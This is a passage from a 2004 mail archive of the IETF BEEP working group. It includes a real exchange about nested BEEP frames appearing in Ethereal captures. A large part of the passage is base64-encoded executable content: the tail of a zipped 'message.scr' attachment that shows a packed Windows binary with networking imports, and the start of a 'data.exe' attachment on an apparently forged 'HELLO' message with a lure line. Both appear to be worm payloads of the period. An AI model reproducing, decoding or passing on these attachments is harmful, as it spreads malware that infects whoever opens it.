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
AAAAAAAAAAAAwMIAAIjCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMrCAADYwgAA6MIAAAAAAAD2wgAA
AAAAAATDAAAAAAAADMMAAAAAAABzAACAAAAAAEtFUk5FTDMyLkRMTABBRFZBUEkzMi5kbGwATVNW
Q1JULmRsbABVU0VSMzIuZGxsAFdTMl8zMi5kbGwAAExvYWRMaWJyYXJ5QQAAR2V0UHJvY0FkZHJl
c3MAAEV4aXRQcm9jZXNzAAAAUmVnQ2xvc2VLZXkAAABtZW1zZXQAAHdzcHJpbnRmQQAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUEsB
AhQACgAAAAAAexM7MMonH54AWAAAAFgAAAsAAAAAAAAAAAAgAAAAAAAAAG1lc3NhZ2Uuc2NyUEsF
BgAAAAABAAEAOQAAAClYAAAAAA==

------=_NextPart_000_0003_B0780826.7AA7E819--



From california10@gmx.de Thu Feb  5 03:36:57 2004
Received: from mail.gmx.net (pop.gmx.de [213.165.64.20])
	by qawoor.dbc.mtview.ca.us (8.12.10/8.12.9) with SMTP id i15BW9jE016215
	for <beepwg@lists.beepcore.org>; Thu, 5 Feb 2004 03:32:10 -0800 (PST)
Received: (qmail 4696 invoked by uid 0); 5 Feb 2004 11:32:05 -0000
Received: from 212.117.81.34 by www61.gmx.net with HTTP;
	Thu, 5 Feb 2004 12:32:05 +0100 (MET)
Date: Thu, 5 Feb 2004 12:32:05 +0100 (MET)
From: "Ingo Funken" <california10@gmx.de>
To: beepwg@lists.beepcore.org
MIME-Version: 1.0
X-Priority: 3 (Normal)
X-Authenticated: #19191783
Message-ID: <19436.1075980725@www61.gmx.net>
X-Mailer: WWW-Mail 1.6 (Global Message Exchange)
X-Flags: 0001
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
Subject: [BEEPwg] (no subject)
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

Hi beepwg,

I have the following problem:
I implemented an application which starts several threads at the same time.
Everyone of these threads starts a channel. Messages are transmitted over
these parallel channels independently. I use ethereal for intercepting and
looking at the beep messages they were exchanged. 
But I see in some beep messages that the payload of these messages contains
an another beep message entirely. A section of ethereal looks like:

Blocks Extensible Exchange Protocol

      Header:
           Command: MSG
           Channel: 9
           Msgno: 1
           More: complete
           Seqno: 0
           Size: 555
            .
            .
            .
      Payload: (payload of MSG 9)END\r\nMSG  0 10 . 1980 214 ..........

Another example is like:

Blocks Extensible Exchange Protocol (no header section like above)

       Payload: MSG 11 1 . 0 600 \r\nContent-Type:
       Payload: application/xml\r\n\r\n (here comes the real payload)......


But my application works without any problems. There is no session
termination because of poorly-formed messages. Is this behavior  of beep normal? I
didn't see any section in rfc 3080 that refers to such problems.

Ingo 








-- 
GMX ProMail (250 MB Mailbox, 50 FreeSMS, Virenschutz, 2,99 EUR/Monat...)
jetzt 3 Monate GRATIS + 3x DER SPIEGEL +++ http://www.gmx.net/derspiegel +++


From mrose@dbc.mtview.ca.us Thu Feb  5 11:16:34 2004
Received: from drakken.dbc.mtview.ca.us (64-73-228-56.cust.telepacific.net [64.73.228.56])
	by qawoor.dbc.mtview.ca.us (8.12.10/8.12.9) with ESMTP id i15J85jE025745
	for <beepwg@lists.beepcore.org>; Thu, 5 Feb 2004 11:08:05 -0800 (PST)
Received: from drakken.dbc.mtview.ca.us (localhost [127.0.0.1])
	by drakken.dbc.mtview.ca.us (8.12.9/8.12.9) with SMTP id i15J7eeW002265;
	Thu, 5 Feb 2004 11:07:40 -0800 (PST)
Date: Thu, 5 Feb 2004 11:07:40 -0800
From: Marshall Rose <mrose@dbc.mtview.ca.us>
To: "Ingo Funken" <california10@gmx.de>
Cc: beepwg@lists.beepcore.org
Subject: Re: [BEEPwg] (no subject)
Message-Id: <20040205110740.5e121865.mrose@dbc.mtview.ca.us>
In-Reply-To: <19436.1075980725@www61.gmx.net>
References: <19436.1075980725@www61.gmx.net>
Organization: Dover Beach Consulting, Inc.
X-Mailer: Sylpheed version 0.8.11claws (GTK+ 1.2.10; i386--netbsdelf)
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

> 
> I have the following problem:

what beep implementation are you using?
    
1. if frames are being sent out with an incorrect length field, then a
   properly behaving receiver will see that the frame doesn't end with
   "END" and generate an error.
    
2. or, whatever version of ethereal you are using is misreporting the
   traffic it is analyzing.
    
/mtr

From california10@gmx.de Fri Feb  6 03:27:34 2004
Received: from mail.gmx.net (pop.gmx.de [213.165.64.20])
	by qawoor.dbc.mtview.ca.us (8.12.10/8.12.9) with SMTP id i16BOsjE014652
	for <BEEPwg@lists.beepcore.org>; Fri, 6 Feb 2004 03:24:55 -0800 (PST)
Received: (qmail 13749 invoked by uid 0); 6 Feb 2004 11:24:49 -0000
Received: from 212.117.81.29 by www16.gmx.net with HTTP;
	Fri, 6 Feb 2004 12:24:49 +0100 (MET)
Date: Fri, 6 Feb 2004 12:24:49 +0100 (MET)
From: "Ingo Funken" <california10@gmx.de>
To: Marshall Rose <mrose@dbc.mtview.ca.us>
Cc: BEEPwg@lists.beepcore.org
MIME-Version: 1.0
References: <20040205110740.5e121865.mrose@dbc.mtview.ca.us>
Subject: Re: [BEEPwg] (no subject)
X-Priority: 3 (Normal)
X-Authenticated: #19191783
Message-ID: <15272.1076066689@www16.gmx.net>
X-Mailer: WWW-Mail 1.6 (Global Message Exchange)
X-Flags: 0001
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

> > 
> > I have the following problem:
> 
> what beep implementation are you using?

I am using the java implementation 0.9.07 of beepcore.


>     
> 1. if frames are being sent out with an incorrect length field, then a
>    properly behaving receiver will see that the frame doesn't end with
>    "END" and generate an error.

Frames end with "END" and messages are transmitted without errors. 


>     
> 2. or, whatever version of ethereal you are using is misreporting the
>    traffic it is analyzing.

I am using ethereal 0.9.4 with GTK+ 1.2.10, with GLib 1.2.10,  with licap
0.6., with libz 1.1.4
   
Ingo





-- 
GMX ProMail (250 MB Mailbox, 50 FreeSMS, Virenschutz, 2,99 EUR/Monat...)
jetzt 3 Monate GRATIS + 3x DER SPIEGEL +++ http://www.gmx.net/derspiegel +++


From mrose@dbc.mtview.ca.us Fri Feb  6 08:36:52 2004
Received: from drakken.dbc.mtview.ca.us (64-73-228-56.cust.telepacific.net [64.73.228.56])
	by qawoor.dbc.mtview.ca.us (8.12.10/8.12.9) with ESMTP id i16GXGjE021975
	for <BEEPwg@lists.beepcore.org>; Fri, 6 Feb 2004 08:33:16 -0800 (PST)
Received: from drakken.dbc.mtview.ca.us (localhost [127.0.0.1])
	by drakken.dbc.mtview.ca.us (8.12.9/8.12.9) with SMTP id i16FLvEn001462;
	Fri, 6 Feb 2004 07:21:57 -0800 (PST)
Date: Fri, 6 Feb 2004 07:21:57 -0800
From: Marshall Rose <mrose@dbc.mtview.ca.us>
To: "Ingo Funken" <california10@gmx.de>
Cc: BEEPwg@lists.beepcore.org
Subject: Re: [BEEPwg] (no subject)
Message-Id: <20040206072157.639b601d.mrose@dbc.mtview.ca.us>
In-Reply-To: <15272.1076066689@www16.gmx.net>
References: <20040205110740.5e121865.mrose@dbc.mtview.ca.us>
	<15272.1076066689@www16.gmx.net>
Organization: Dover Beach Consulting, Inc.
X-Mailer: Sylpheed version 0.8.11claws (GTK+ 1.2.10; i386--netbsdelf)
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

> > > 
> > > I have the following problem:
> > 
> > what beep implementation are you using?
> 
> I am using the java implementation 0.9.07 of beepcore.
> ... 

it sounds like ethereal isn't reporting correctly. you should probably ask this
question on the beepcore-java mailing list and see what folks say there.

/mtr

From lixia@cs.ucla.edu Sun Feb  8 08:43:12 2004
Received: from bulk.resource.org (bulk.resource.org [192.101.98.10])
	by qawoor.dbc.mtview.ca.us (8.12.10/8.12.9) with ESMTP id i18GXZuk016806
	for <beepwg@lists.beepcore.org>; Sun, 8 Feb 2004 08:33:35 -0800 (PST)
Received: from cs.ucla.edu (202-177-165-146.sify.net [202.177.165.146] (may be forged))
	by bulk.resource.org (8.12.2/8.12.2) with ESMTP id i18GXOlR015070
	for <beepwg@lists.beepcore.org>; Sun, 8 Feb 2004 08:33:25 -0800 (PST)
Message-Id: <200402081633.i18GXOlR015070@bulk.resource.org>
From: lixia@cs.ucla.edu
To: beepwg@lists.beepcore.org
Date: Sun, 8 Feb 2004 22:03:38 +0530
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0007_8004BE99.B845F64F"
X-Priority: 3
X-MSMail-Priority: Normal
Subject: [BEEPwg] HELLO
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

This is a multi-part message in MIME format.

------=_NextPart_000_0007_8004BE99.B845F64F
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit

The message cannot be represented in 7-bit ASCII encoding and has been sent as a binary attachment.


------=_NextPart_000_0007_8004BE99.B845F64F
Content-Type: application/octet-stream;
	name="data.exe"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="data.exe"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
